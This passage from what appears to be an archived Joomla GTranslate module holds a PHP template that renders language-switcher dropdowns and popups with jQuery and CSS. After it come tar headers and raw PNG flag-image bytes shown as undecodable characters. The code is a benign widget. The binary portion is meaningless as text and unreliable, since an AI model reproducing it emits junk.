    echo '<a href="#" onclick="return false;"><img src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/16/'.$flag.'.png" height="16" width="16" alt="'.$lang_array[$current_language].'" /> '.$lang_name.'</a>';
    echo '</div>';
    echo '<div class="option">';

    $session = JFactory::getSession();
    $uri = JURI::getInstance();

    foreach($lang_array as $lang => $lang_name) {
        if($pro_version)
            $href = ($language == $lang) ? $uri->toString() : '/' . $lang . str_replace('/' . $session->get('glang', $language) . '/', '/', $uri->toString(array('path', 'query')));
        elseif($enterprise_version)
            $href = ($language == $lang) ? $uri->toString() : $uri->getScheme() . '://' . $lang . '.' . str_replace('www.', '', $uri->toString(array('host', 'path', 'query')));
        else
            $href = '#';

        if($native_language_names)
            $lang_name = $native_names_map[$lang];

        $show_this = 'show_'.str_replace('-', '', $lang);
        if($$show_this) {
            if($lang == 'en' and $$show_this == '3')
                $flag = 'en-us';
            elseif($lang == 'en' and $$show_this == '4')
                $flag = 'en-ca';
            elseif($lang == 'pt' and $$show_this == '3')
                $flag = 'pt-br';
            elseif($lang == 'es' and $$show_this == '3')
                $flag = 'es-mx';
            elseif($lang == 'fr' and $$show_this == '3')
                $flag = 'fr-qc';
            else
                $flag = $lang;

            if($$show_this)
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');jQuery(\'div.switcher div.selected a\').html(jQuery(this).html());return false;" title="'.$lang_name.'" class="nturl '.($current_language == $lang ? ' selected' : '').'"><img data-gt-lazy-src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/16/'.$flag.'.png" height="16" width="16" alt="'.$lang.'" /> '.$lang_name.'</a>';
        }
    }

    echo '</div></div>';

    $document = JFactory::getDocument();

    // Adding slider javascript
    $document->addScriptDeclaration("
        jQuery(document).ready(function() {
            jQuery('.switcher .selected').click(function() {jQuery('.switcher .option a img').each(function() {if(!jQuery(this)[0].hasAttribute('src'))jQuery(this).attr('src', jQuery(this).attr('data-gt-lazy-src'))});if(!(jQuery('.switcher .option').is(':visible'))) {jQuery('.switcher .option').stop(true,true).delay(100).slideDown(500);jQuery('.switcher .selected a').toggleClass('open')}});
            jQuery('.switcher .option').bind('mousewheel', function(e) {var options = jQuery('.switcher .option');if(options.is(':visible'))options.scrollTop(options.scrollTop() - e.originalEvent.wheelDelta);return false;});
            jQuery('body').not('.switcher').click(function(e) {if(jQuery('.switcher .option').is(':visible') && e.target != jQuery('.switcher .option').get(0)) {jQuery('.switcher .option').stop(true,true).delay(100).slideUp(500);jQuery('.switcher .selected a').toggleClass('open')}});
        });
    ");

    if($pro_version or $enterprise_version)
        $document->addScriptDeclaration("jQuery(document).ready(function() {var lang_html = jQuery(\".switcher div.option a[onclick*='|\"+jQuery('html').attr('lang')+\"']\").html();if(typeof lang_html != 'undefined')jQuery('.switcher div.selected a').html(lang_html.replace('data-gt-lazy-', ''))});");
    else
        $document->addScriptDeclaration("jQuery(document).ready(function() {if(GTranslateGetCurrentLang() != null){var lang_html = jQuery('div.switcher div.option').find('img[alt=\"'+GTranslateGetCurrentLang()+'\"]').parent().html();if(typeof lang_html != 'undefined')jQuery('div.switcher div.selected a').html(lang_html.replace('data-gt-lazy-', ''));}});");

    // Adding slider css
    $module_url = JURI::root(true).'/modules/mod_gtranslate/tmpl/lang';
    $document->addStyleDeclaration("
        .switcher {font-family:Arial;font-size:10pt;text-align:left;cursor:pointer;overflow:hidden;width:163px;line-height:17px;}
        .switcher a {text-decoration:none;display:block;font-size:10pt;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}
        .switcher a img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}
        .switcher a:hover img {opacity:1;}
        .switcher .selected {background:#FFFFFF url($module_url/switcher.png) repeat-x;position:relative;z-index:9999;}
        .switcher .selected a {border:1px solid #CCCCCC;background:url($module_url/arrow_down.png) 146px center no-repeat;color:#666666;padding:3px 5px;width:151px;}
        .switcher .selected a.open {background-image:url($module_url/arrow_up.png)}
        .switcher .selected a:hover {background:#F0F0F0 url($module_url/arrow_down.png) 146px center no-repeat;}
        .switcher .option {position:relative;z-index:9998;border-left:1px solid #CCCCCC;border-right:1px solid #CCCCCC;border-bottom:1px solid #CCCCCC;background-color:#EEEEEE;display:none;width:161px;max-height:198px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;overflow-y:auto;overflow-x:hidden;}
        .switcher .option a {color:#000;padding:3px 5px;}
        .switcher .option a:hover {background:#FFC;}
        .switcher .option a.selected {background:#FFC;}
        #selected_lang_name {float: none;}
        .l_name {float: none !important;margin: 0;}
        .switcher .option::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 3px rgba(0,0,0,0.3);border-radius:5px;background-color:#F5F5F5;}
        .switcher .option::-webkit-scrollbar {width:5px;}
        .switcher .option::-webkit-scrollbar-thumb {border-radius:5px;-webkit-box-shadow: inset 0 0 3px rgba(0,0,0,.3);background-color:#888;}
    ");

} elseif($look == 'popup') {
    JHtml::_('jquery.framework');

    echo '<a href="#" class="switcher-popup glink nturl notranslate" onclick="openGTPopup(this)">';

    if($native_language_names)
        $lang_name = $native_names_map[$language];
    else
        $lang_name = $lang_array[$language];

    if($language == 'en' and $show_en == '3')
        $flag = 'en-us';
    elseif($language == 'en' and $show_en == '4')
        $flag = 'en-ca';
    elseif($language == 'pt' and $show_pt == '3')
        $flag = 'pt-br';
    elseif($language == 'es' and $show_es == '3')
        $flag = 'es-mx';
    elseif($language == 'fr' and $show_fr == '3')
        $flag = 'fr-qc';
    else
        $flag = $language;

    echo '<img src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/'.$flag_size.'/'.$flag.'.png" height="'.$flag_size.'" width="'.$flag_size.'" alt="'.$lang_array[$language].'" /> <span>'.$lang_name.'</span><span style="color:#666;font-size:8px;font-weight:bold;">&#9660;</span></a>';

    // lightbox and content
    echo '<div id="gt_fade" class="gt_black_overlay"></div>';
    echo '<div id="gt_lightbox" class="gt_white_content notranslate">';
    echo '<div style="position:relative;height:14px;"><span onclick="closeGTPopup()" style="position:absolute;right:2px;top:2px;font-weight:bold;font-size:12px;cursor:pointer;color:#444;font-family:cursive;">X</span></div>';
    echo '<div class="gt_languages">';

    $count_languages = 0;

    $session = JFactory::getSession();
    $uri = JURI::getInstance();

    foreach($lang_array as $lang => $lang_name) {
        if($pro_version)
            $href = ($language == $lang) ? $uri->toString() : '/' . $lang . str_replace('/' . $session->get('glang', $language) . '/', '/', $uri->toString(array('path', 'query')));
        elseif($enterprise_version)
            $href = ($language == $lang) ? $uri->toString() : $uri->getScheme() . '://' . $lang . '.' . str_replace('www.', '', $uri->toString(array('host', 'path', 'query')));
        else
            $href = '#';

        if($native_language_names)
            $lang_name = $native_names_map[$lang];

        $show_this = 'show_'.str_replace('-', '', $lang);
        if($$show_this) {
            if($lang == 'en' and $$show_this == '3')
                $flag = 'en-us';
            elseif($lang == 'en' and $$show_this == '4')
                $flag = 'en-ca';
            elseif($lang == 'pt' and $$show_this == '3')
                $flag = 'pt-br';
            elseif($lang == 'es' and $$show_this == '3')
                $flag = 'es-mx';
            elseif($lang == 'fr' and $$show_this == '3')
                $flag = 'fr-qc';
            else
                $flag = $lang;

            echo '<a href="'.$href.'" onclick="changeGTLanguage(\''.$language.'|'.$lang.'\', this);return false;" title="'.$lang_name.'" class="glink nturl'.($language == $lang ? ' selected' : '').'">';
            echo '<img data-gt-lazy-src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/'.$flag_size.'/'.$flag.'.png" height="'.$flag_size.'" width="'.$flag_size.'" alt="'.$lang.'" /> <span>'.$lang_name.'</span></a>';

            $count_languages++;
        }
    }

    echo '</div></div>';

    $document = JFactory::getDocument();

    // style
    $document->addStyleDeclaration("
        a.glink {text-decoration:none;}
        a.glink img {vertical-align:middle;padding:0;margin:0;border:0;display:inline;height:{$flag_size}px;opacity:0.8;}
        a.glink:hover img {opacity:1;}
        a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}

        .gt_black_overlay {display:none;position:fixed;top:0%;left:0%;width:100%;height:100%;background-color:black;z-index:2017;-moz-opacity:0.8;opacity:.80;filter:alpha(opacity=80);}
        .gt_white_content {display:none;position:fixed;top:50%;left:50%;width:980px;height:375px;margin:-189px 0 0 -980px;padding:6px 16px;border-radius:5px;background-color:white;color:black;z-index:19881205;overflow:auto;text-align:left;}
        .gt_white_content a {display:block;padding:5px 0;border-bottom:1px solid #e7e7e7;white-space:nowrap;}
        .gt_white_content a:last-of-type {border-bottom:none;}
        .gt_white_content a.selected {background-color:#ffc;}
        .gt_white_content .gt_languages {column-count:1;column-gap:10px;}
        .gt_white_content::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 3px rgba(0,0,0,0.3);border-radius:5px;background-color:#F5F5F5;}
        .gt_white_content::-webkit-scrollbar {width:5px;}
        .gt_white_content::-webkit-scrollbar-thumb {border-radius:5px;-webkit-box-shadow: inset 0 0 3px rgba(0,0,0,.3);background-color:#888;}
    ");

    // javascript
    $document->addScriptDeclaration("
        var flag_size = parseInt($flag_size);
        var popup_height = 25 + $count_languages * ((flag_size > 16 ? flag_size : 20) + 10 + 1);
        var popup_columns = Math.ceil(popup_height / 375);
        if(popup_height > 375)
            popup_height = 375;
        var popup_width = popup_columns * (326 + 15);

        if(popup_width > jQuery(window).width()) {
            popup_width = jQuery(window).width() - 120;
            popup_columns = Math.floor(popup_width/(326 + 15));
        }

        if(popup_width > 980)
            popup_width = 980;
        if(popup_columns > 5)
            popup_columns = 5;

        function openGTPopup(a) {jQuery('.gt_white_content a img').each(function() {if(!jQuery(this)[0].hasAttribute('src'))jQuery(this).attr('src', jQuery(this).attr('data-gt-lazy-src'))});if(a === undefined){document.getElementById('gt_lightbox').style.display='block';document.getElementById('gt_fade').style.display='block';}else{jQuery(a).parent().find('#gt_lightbox').css('display', 'block');jQuery(a).parent().find('#gt_fade').css('display', 'block');}}
        function closeGTPopup() {jQuery('.gt_white_content').css('display', 'none');jQuery('.gt_black_overlay').css('display', 'none');}
        function changeGTLanguage(pair, a) {doGTranslate(pair);jQuery('a.switcher-popup').html(jQuery(a).html()+'<span style=\"color:#666;font-size:8px;font-weight:bold;\">&#9660;</span>');closeGTPopup();}
        jQuery(document).ready(function() {
            jQuery('.gt_white_content').css('width', popup_width+'px');
            jQuery('.gt_white_content').css('height', popup_height+'px');
            jQuery('.gt_white_content').css('margin', '-'+(popup_height/2)+'px 0 0 -'+(popup_width/2)+'px');
            jQuery('.gt_white_content .gt_languages').css('column-count', popup_columns);

            jQuery('.gt_black_overlay').click(function(e) {if(jQuery('.gt_white_content').is(':visible')) {closeGTPopup()}});
        });
    ");

    if($pro_version or $enterprise_version)
        $document->addScriptDeclaration("jQuery(document).ready(function() {var lang_html = jQuery(\".gt_languages a[onclick*='|\"+jQuery('html').attr('lang')+\"']\").html();if(typeof lang_html != 'undefined')jQuery('a.switcher-popup').html(lang_html.replace('data-gt-lazy-', '')+'<span style=\"color:#666;font-size:8px;font-weight:bold;\">&#9660;</span>');});");
    else
        $document->addScriptDeclaration("jQuery(document).ready(function() {if(GTranslateGetCurrentLang() != null){var lang_html = jQuery(\".gt_languages a[onclick*='|\"+GTranslateGetCurrentLang()+\"']\").html();if(typeof lang_html != 'undefined')jQuery('a.switcher-popup').html(lang_html.replace('data-gt-lazy-', '')+'<span style=\"color:#666;font-size:8px;font-weight:bold;\">&#9660;</span>');}});");

}
?>mod_gtranslate/tmpl/index.html000060400000000054150746170550012525 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/lang/blank.png000060400000000137150746170550013250 0ustar00�PNG


IHDR%�V�PLTE�z=�tRNS@��f
IDAT�c`�!�3IEND�B`�mod_gtranslate/tmpl/lang/index.html000060400000000054150746170550013446 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/lang/16a.png000060400000062612150746170550012556 0ustar00�PNG


IHDR���M�tEXtSoftwareAdobe ImageReadyq�e<e,IDATx���	�]u}7��{g�2YH�$,J�-�������J]ڪ��m��屵��K��i�Z�m�Z������R1(.X@@LH�$�l�e��Ϲ�e&3�3iN�����f�{O�:��~��9��;�$I�^!�u����g����i�ۍ�1�BA�@�@��Q�G)�k��oՊ�]�z�7>���R.���+cӫ�wD��?���٨wt�o�q�	I�~��ѷl���b8��^�O��j�{Z���i���Gy��֪C���!�M/|�x�l,��bD�Q����4�4�_�9y��s^yմ��;>w�
�}����!��Wu��N\8��$QHo�U(D����6q||�*y��;��{����'F��.��Q�~�d�|�싟���+_z�
�_}���
��,��޹1~���Y+__�������ǟ�.J���]rz<��F<��}ғ��6v7u�^��V3.X~��4�1���~��mL��B6�"���Vo�[9����V�9��ٌ�Kω�e��o��H!Z��^܌�O��E���;g�U��.���h4�x�Kc婋�z݆��Vѽ�}��V�S"��z˭��k|4��u���_���>�7�w̋�ܞ��Ģ�Ht�����1�ǚ;�S߾��(�x��ΌǞ��q���3�{�͞޵�_�Ya�������Ίn�>.8��X��G�ތ�#���cΎ8����'������w�@���u�Z���cC�Jӊ�bg\x��qv��vh������j��>����#�F���m��iR�Gi�P�^�5��.�����Ɔd�47�,sq��H��G^y��8q�x��V��G>}k��և�>t��8&����(K��k�J��7�o�Ǝ��o�ԋ��c�opK��=��q~5��7��R1��EsxXy���b�� ���ߎ_}�����b�̲���HFF��s�Hc�S����~�g�k�zytvwG�l�O�,�.�hE:����h�K��=�}�1Q����/�[^y^�=�mv��Z�Gb`l8�J=�+�}Zl�i\�����v�Ǥ��]����1���BG{��L�H��⬷!�j5�?��ֱ����֎(�D�B#*�K�W�M��
iv�t�Q��c`���A�n��p5ZC�X�:���(�������$���/[�7슱��������������� �H5>�/�?�uS��Uʼn�ͷ~<�yu|nj
O��Z#S�7�~Tڟ��}/�_�7�?���s�&{���((�x��xE:�e�6��,-쏱�a{>'�4��i��rIl�/n��`��;>��ŏ^�&E�����O��$-�e^n���7ƒ�E1\k?=�w �~�f��sb��N;.'�F%����(t&�Y���z�}�s��Lcra�"�U*v\^�U��]�=�9��q�=���5��wa�sm̞����q�����w%���8�_��8��.�sҏ����MȰ��g��2>j�}�����p����?y8�;O�+�~�B���ү^=i|L���� ���Q��Eq뎴0��k�Ė��P�3i4Ư�ͮ?�֣��16�מ�k�Uʱvǃ���hƦ���'Ď�Pԛ�8�S⡑uq̜��n��O�\g�`��G5�'[b�66�����b��5�%{Qr����;C��T^���Z��Q)zv3�¼a�ñ�&�<�~��gy�KE;.'�juR!h��YY^��8m���Wv�6�5>���f���㤐��hW���Oh�1�6_��1�mv/5K>��8vɒ}gv[��累�8���&o�燷m�x��~N� )���j�`e,zK��N��=��V<i���u����լG#}\�ܰ�r+�c����� r&�<jP�����v�Q�}�P�'h5�Q��츜��ƏƒH�صkF�OꍨԝA�m��ٔt]��1���7����
�q��DRJ��${>��I-�U�>.��I�6�9�t�/��ꈍ�Yl�.�O��qŠ��?�˫�Ik�����3�y�k#i��ƃ[_�3n^��m�'�����q�=�W��J�z�W��d��g=-n�xc\��g������Uq����k���.q�Vs�56~���qbgW���ef�#=z}0-��u��!HF
��{��E&�@kL!-hպ�3�-�re��~kj�=�RH`䑟3���Q�^��}���������c��^��O��/~ؾoNog�~��,����ͤKZ#�o�y���wv���f����k���<-*��SX����s�����_'?nY|��ߍ�����/����Յ�o[����]|}�Eq�o];��8�q���j��d��t��ͷ�6��K����5q����O�����������6�tS���z��j�ܲ�V\��c�C���3�lJ�}��m�<Z�����摴W�=�J�?>�5�Ɨ�������V�a�5�f��7�ǿ9�kn�~M������>��zi,�����l�_�֊����J��?��]�7���ͯyi�ٻ�6�k�碖�t�!u;�o��{����=�"{��GF��w}k��S=5Oq�x� ]�{z�g5g$;�qM�<-ydP����]J�]}r\?�}ە����ĝ��wn�!w�������9>��V)_s���N��Q�~L��L�#+��U���=܌�ܰc�cn��x��#{�����;��S�O~�/�7�0^���D|�*ϫ~�����'}��׿7�=�ܑ&W�i~��<rȣ�.6����C��<FT�qT�����
��Q��3*?����\j�ye���ի�~����J�����X��f��2�[lM�d��B� y y y��(�#+��!Ovz����?�M����*y y y��(ʣ�$�/Ļc��
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0��
3�0��
3(��0��
3(��0��(��0��
3(��0��
3(���
3(��0��
3(��0��
3�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��D!�u����g����I�����H� y y y��(ʣ��5w�_��P~�򫯺<�0 ��jn:H&���_����?�<r����7e|\w���}�}�
O���'��i������G�nUTq��/�����t9*F�����{ϔGy~��i|,��O�#�<^��wL��/x���7_�R���W�(ۗg��7i6���sf�Q�'I�T�����@���q���g��<s�f+.�ः?��g�UIc����L�`��\G�W��G^y��q���櫥��_9��i֏tx��mãq�<�Y?Z�(-;{�-�=_56�i|�5>�<�]z�A�u����#ԯf�mV�;�z=���h��/�d�,7Aq��ȶ	�@�a�>]���8��o�?�Z��Õرc�T����K���|�y�y�<]� YI�h��őm#�|���=���'�\�?�����]���z�ї�W-�U^y�[�������Ը����W�	���|�#Z������gG��kʶYa�f����h��ЌJ��t��]���Z1��{�g�
��Vk100������ྱ��(F�f|�G5�b�}�����ކ#3_��w��/��
;��4���(ER��>n:�ې�|��ߡ�h��f0�{�WGv��Ǐ��՟k��ώ&GxCT�+��-S�U�0/�����;�3��rZ��������K��pe�Y��@*��K�j�����m���K�\���Gchh�g��C��X�[�l��g�1g{9=ȯO~�e���S
sR��t���|櫿�r,����_l}�;����X���t��}�.s~��S�����[h�]~�y����;��篵�硒�ߝՑ���/���0OX?���*֏�d�6��u�c��>�z���׏좘]��*��/�Ty�3��9;�2���M�m�}��¼ߙ�=N�^!��Fgɋi�ˣk����|�3�����y�~TJ�M�mJ��Z�����Ltdyt�츜ԣkG���uc�(5�q\Z���:�m~Og��e;.'ӭ���o�;�n�V3���X|�I��#�~��w}��]�8�6�[?:��U�q$�G�uQ��'�s&��H��{oa�3>ګH�2����
3/I�7Z�d�N��hD�.���y$Y�?h�}�g�zˎ�-�J�K�FҚ�>N��Qi6츜|�w/����]�~���f˖-q���wy����8�x`���ϭ�G�0�EGgw���W�V���H����ˣ�ѕ��	��޺�]�\z�IS�i�3���(v/�����R���fu�=���V�)V�X����޸/�-�v�
6��'���e�U�X�>���	/+ri9�6jv\N^U��'t�ܷ-۫�����t�.�kQZtl��fpP�F��]���v\N��/������8�Y�&�[��;.ǂ�9�3��2_M(̅z�~ԭG�0w�yF��+b��B�������Eϓa��\M���L�0����#�#v��P(�z��阞�����C:>�U^~�#ݷI1b�3V�߆\\����ʕ+g��=��g�׾�Cv�k)�3�<ILJkf�<&�-��*5�Ց�W�|௣���Ʈ/~9�ي9�����k�ݦ]�����E���8��\h�m���⬷�0Nx��J�G�A������ZQ��#��=��tʹ�ކ<|��5q�ó�����{츼�G:_����;�3�n����#�G��sb����~��}܂7��}�y�d	ֳ~ddžC��V�ï�]���-��>���ߗǑ�#I�12��o��φ�q��G���1d�:J�����q��W�\��<��<�_?6Z?�~5�m��榷��m��)���`k�$�dp�
y�y�y�CGQYaήtΞ(��h������9o����<��<
I�؋p�fP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�%
�3���8��VN��n7�@
y�y�y�CGQ��i(���4�������O<�Z�H�bq��<�0 ��j��+�\5���/�3~�?�O�F<�˿z�
�}����!�=���<r��/�mo�t�*�s�G?��n�4[QZ�0���'�C���ߧ���S��~��皯�W�����J"�VQ�Նˮ�F9��];i||�߳������5��K��vۏ~�(�Jq���?N�h4��o���Ѹ�K�|�W��]oz���=~�7�[����������J��n�G^y�����aΣ�������?-����D�jF��W��g7�����W�9��+�գt=oD����%�X}�<rʣ��矲xڹ��+NG�rߎ��Y+n�N���{�k�����8��Sb���Q[�6]���:����~����K�,��+WF�:I����h��7V�ol�o�<ʼnkӢ��m#�|�x������.@#�rl��V1����c�Ƙ[+
�t�+M�����W�z3�wUc�`y�w[��xOI��?�|e�zt��t=N��;&ߓ$�Z��<�^�6��i�h$1R�ǎ�ꄹ�H�x�q��yݑm�m�>��]�1<<�Z-.���X2~��?��-�D)�Gz�>3�����Yϊ������ې�F���h��=�+��
O�_���
����i6ې�j�;��Qk�ӛ�c޶�hm����w���3��&-5I:>jv\^y��{6?홣�w��Ǵ�+�գұ�Y�b�@{LT��16X�yKQ*��ߠ��z:_-���܁�Z�֦�UCc�i�U��M������cٲe�0�
쟢��oD�´8zc�
wƅK?g����^����*��=��%����;���=���_�z�m��rD_�����?��lC>��Jl�˗��r�p�G���Q�~m�:i[�nw$���gvIF�ٲ��ʣ\�����_�o*�
�5��w�9U/[?�r��K��PZ��=,&E�ׂ9]�uǐ��Q/Goig�
���]�0�ϬG�c����0��4�v\N���?K���`ɾ�?��i`�s����݅���g� +��q旾�6.�`l>6^=��Ƃx��mЈ�˗Ǟm�����']�h���ʹ����-/�~ᒘ�hFkxxF��??�KE;.'�J5[�cg纸uCw���h�����(�@to�3>	�^�
s��rܱv\n��k�oN��Z�MzL}}���Q6>r=�\�P!��f��}�QJ��ZIs��h<�46_{$K^�Z����eӬ)����Kv\�y�����Q_��˦M��B||�s�s�=���c㾎�#�b��Oɦ�ظqc�p�	�0��ϼ<�;n�h��w���G�f˖-q��o���(hi!��]N6ó�I�����
Ae,jžx���Cq��߈Fל(]0����m�;��G���`*��J�J&���o�L;�G��c,]��{��Jf���z�z��H��x��9?�V�ۮ�L,�?>柰 �wp�B=�ƻ��ǔ9�#do{�U����x��ſ��+���� m�]q�'ğ��q���}���~����γ�s��‹������E~���6{Ҕ�w�ƃu,�#�r%
iIkf�ШGU��r5�?�7
,�S�����[\|�`4�.G��:��ʿ��'ͣ�����5�7��%�J��'��q�|��'�?Ϟ��v]N-�{Z��y�p3�+.>���?����ї��d��f3ݦa����?��(�]��F�Xe�#�{���ݏL�B����][��^��0go#י����x�.�>������hƓ�?)FGv�'?�o�K2�Ν�s��V��X���ٽ��^�U�
G.���G�j�J�mg�7>��q��q�φ��wG�^��3����*��J9z:���7V&���|�h��I�(��ER�'F&\+��}+L3��V�s���|U�޾�z�����^!��{{N�v��9���.�,�����E�E)�7.}�c&�C���/�;vij���X�f�=�W��Z$=�]�~MWgq�'S'�4Ѫ��<��#��\�GO:����T�P��jK��G�+#]���;��g����~�s�uɅ���0v��գ+�z$]i�����<r�����N���1e���	�KͲm��z�KIV�^��%�o����A�{���o?�=v7���Wo��1��Nv��{d�~�<4x�m��Ͷv���#+�Ckj��(D�u�|���Y,���HW6?M����/��<�2>�W��<Zq�Ȏ(DIGA���=t�s���O�mv�9���ٯ���{�����I���S(�!�!�!yEyd�9;�=w3��i��]H����
T�@�@��Q�G!I{��*�fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�G�R�W�P��~��$I����+�"ˡ�P�Ho�4���(y�C�<8|y�s}����_(��nn��l�׾�+��7D�8�'���
����ÝG���<r�c�_rHy,��*y��u�]vHy<���C�+)�₯�#�<���	y$�o���I�b��8���w�I�~N�_z~���s���--ͅ����t��r���5�w����S�tT�����)��ٌ�sϙY�$�S]s�<r�c��j|�\�Z�����y3���q�<r=<~_I���t���՚v|�W�,���ǡo�.��Ki��{?�G��x�E�ł��O�����,���15���s�^o���CΣ\k��h-v�T'�H�-9ןE�\m�#�<�z=���h��o-Ib�@"��F��<�ɣU�E}x8�;v��dr ݋G��<rI=
�H��vƌHǢ�̿<�ȣV��p:_�H���Yň�D~���mS�Gq�ˆZ�<r�W��m�0��R��"�f#��M�gq��S�/����}:���B���#j�9X��='�����·�/=��i2lF��].�Z���p���%�4�f�b�夞�Q��O���U�
9��F5J�i?�����6䣑�_/
E3�=X�҉iYN
Q�X�����a|�د�{���_Q:��(%]#֬�ş���ɴ�=ǵ�'fW�+�����0�V�+zK_K'�rD���쳗�G���x����0���cp�a��Gz0�ۻM;��k~�f+��)��mS���Έ�z'mCNyT*ѹs`�0'&�=�'�/ɶ��������1�r:����y9x��΍%��b�z\�r���c��I���ۆ���h����^K�/�b�?��+:FjQ(�"������b��1!��c�1��v^�~��b���liw|8=P�>���\��x��}1�^��+ʼny��֍;���~Z���+̃Cv|^��J�v<�����d�7Q�k>7���y1�Y���u9�Q�T�b�}��������'��=ې�%_�R,X�`v���`�…v�3݆|�Ӄ�ɖ������Xu�+�<ʕX{���N�(^��(�xc����K.�
��z֋�������1;.�<��vˮh�+�5�.�}�}V��u���X�u4����-)ףUh�+�?;�KfyiǶh�1�X.*�e�a��D��S�~��X��wx�F3*5g�sˣ2��
�Ƣ�l��}��(vt��d�[���ې_ym�<��,�c�����5��7Z
��:>ʑ�����2���ghg$�V�}���.G�Օ�}e���'�1�؛[�L�97�*I|��2���Q(�3���f����#�ɾK0K�b*
��g�CWDў�m����uV���o��W�A$�F�0�7b���z#�uޑ*'��C�}J|���;��.z̔X���++W��b1��3z|iΜغ��@��~��8��+Z�e/3����kq�]���>�X�bE��;����=��쥀�\������L�͆
���a���c�'�;���[O;/޺��QK��w|>>�f�>���G=���0{�����_�Z��wb�uo/�s�"ɮϜ�ʙ�e/j������]tBzP2�"������,Fy�F;Na~Th_^��Ӿ�FZ-�d�9>j�HJ�S�N��u��5Gd�Z�����_�����}����#�{�R����uk�k����5ӎ����=_y���t*��1��H�l:����	/7�z5z�A�U�|�Ҟ����̲Vw�?߂v�a��6+h]]���5��f�:0�Q��/3ss���	�c�o����|u���5�H��e���tͮ���/���ڵ�0st��F��+��^�jژ���~�fy����=��^�g��e|4b��/����v_y���OGF�q���L�}p@�+0>���-�=�϶-dg�
��)��}���t���+�";���P�Ho[�Lvً�<�!yȃ×Ǟœ��l_ŗ����?��y��C�#;J3iً�<�!yȃ×G�0���@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP��Q���:�[�QOo�$I�v�a�P��<��<��<�q�QJ���������1Vs���k)�k^�,y���+�<�<�}���!�M���C�c��>'��w}���>S9�q�Uw��S�מ�$^t��#=_]��C�����<r�#뻃7��Xp��Iwn�����./�n�{m�2#���7'�;f^:
��=�z�V���NrIq����)�h6���zO�'���To�]9�dy��/�b��!�"ٝKs����G^y4[I�}�Y�Ww��)���"N_��>�+n$��S�1=����F#:K%����}�fzВ��t�X}�<r�c�1X��׊Ҷ�1w�1{��:���y���Ou��m����:����G��9'>��gG�1��]}�uԛI�T�c��s�Yf��ȶ�G>y$�z�FF�90�7����S��/k�Q(���pad��#�<Z;����`� mLKt#]h�:�E��b1�Kѓ~�c�<r���R�k���������D��U�|�W���c�[vŦ�j��ƪG�U+F�m7���3㸓Ŏ���H�W�t��掝��pI�ENP\�(�m�S��J׋fz�ج�&����U��~�5����t�IZ�8}��x곞߻�����mC>j�Z��b�\���t�eې�F�š�h���Y�tk��ŕ����Fǂ�Mv��hoC~y���ۋP+]t�S�5�j�M�{6�
���9�]��s��-F��&��Tӹgh��c3��:Ʒ!�>}Q���[��-[Fb�ފ�C�̱k�o���8�-﷞�����t�Ho3Q�0_�i��eQ|xk�4���O���G�~4��k}�0���c�ضq ���q�i�D\�k����k�?�`~Ol�6h�礜����3T��=�s :��	���!�J%:��<�`���{Z#�˒t0%�dyGT��#W�c��or:����9�6��.�Wv�h�?m5�Ogfg����$�l�l��䑛�_zs/]C�e2a�����c��غu���	����G.yL����5[��]c?(���(�+˭X<�c�6����+z{{g��刾>;/��1������栦�~T��J���Ob�p-���ׯ�7n�k(vDwc�@)ף�а�sr��$�7��i�cp��j��r�N^��׷�hF+b��]ުF�����T�ro��'�l�#:�G�X��rRI��J�H�<�i�26�����x%��΋�iy�3/���R0~T����s|�]��]�g���?:;;�T��vA�^~��.����O�5��S���$n��m��/�ۻ
��1�m8�y�7�?�{֏va����}y�zg\���t���z��Fٞϫdy�wf�E=�ƻ��Y��e�#�D�5T��V4�MW�F!-ҭ��$XI;��ш�36��]2֝~��P���F��vɮ��e���I+
�t|�Zv\n�U�}�՚�>nd�� �<&:ungt��]�믬{E�~�?.��=�s��_^x��m�/���῿o��������G�0v�����U�Y	���x�}�S���e�8�0gOkN�}��9�f��3���������`Jw}�ܬ'��K�"I�ޜԣ��Iu<�B:6�u0�����y�eye����x �v<���b)���%����ސG�n��X�bŬ�ٰaC�|��v�*����O����w���[�r����n�p��Ď����0�{c�6�~5��7�NH>"0����0W��H���)f���	O�h�/�х��@O'�Ϋ�/�����Q�c��=���_�[w���d|�Gm_�^���'��
�(-��t�?���]�+YY�}m�
��t�����X���'U�|�	��T�߿�X��kwT��y���~�=��S�-���ކG`�����
s���$��c�וegv��9�V�Ά�G:��n���E�)F�q�3��؄��Y޵ˎ�k|d�7��
]��%���v^��c����Ik|r���Gd�{���/={���g�_xF������wn���<7�z-����U�Y����V��#1_��Y߭�{�_=;+s��!���9�z�ъշ��(�#;��s��\f�����c|���}`��8j�F�^�Z���<����$�|֏�p�<���`|l<�R���MoK��l��$;��5I���B� y y y��(�c�������`5�GOI���7Py�y�y�CGQ�$��X8��
3(��0��
3(��0��
3�0��
3(��0��
3(��0��(��0��
3(��0��
3(���
3(��0��
3(��0��
3�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��(��0��
3(��0��
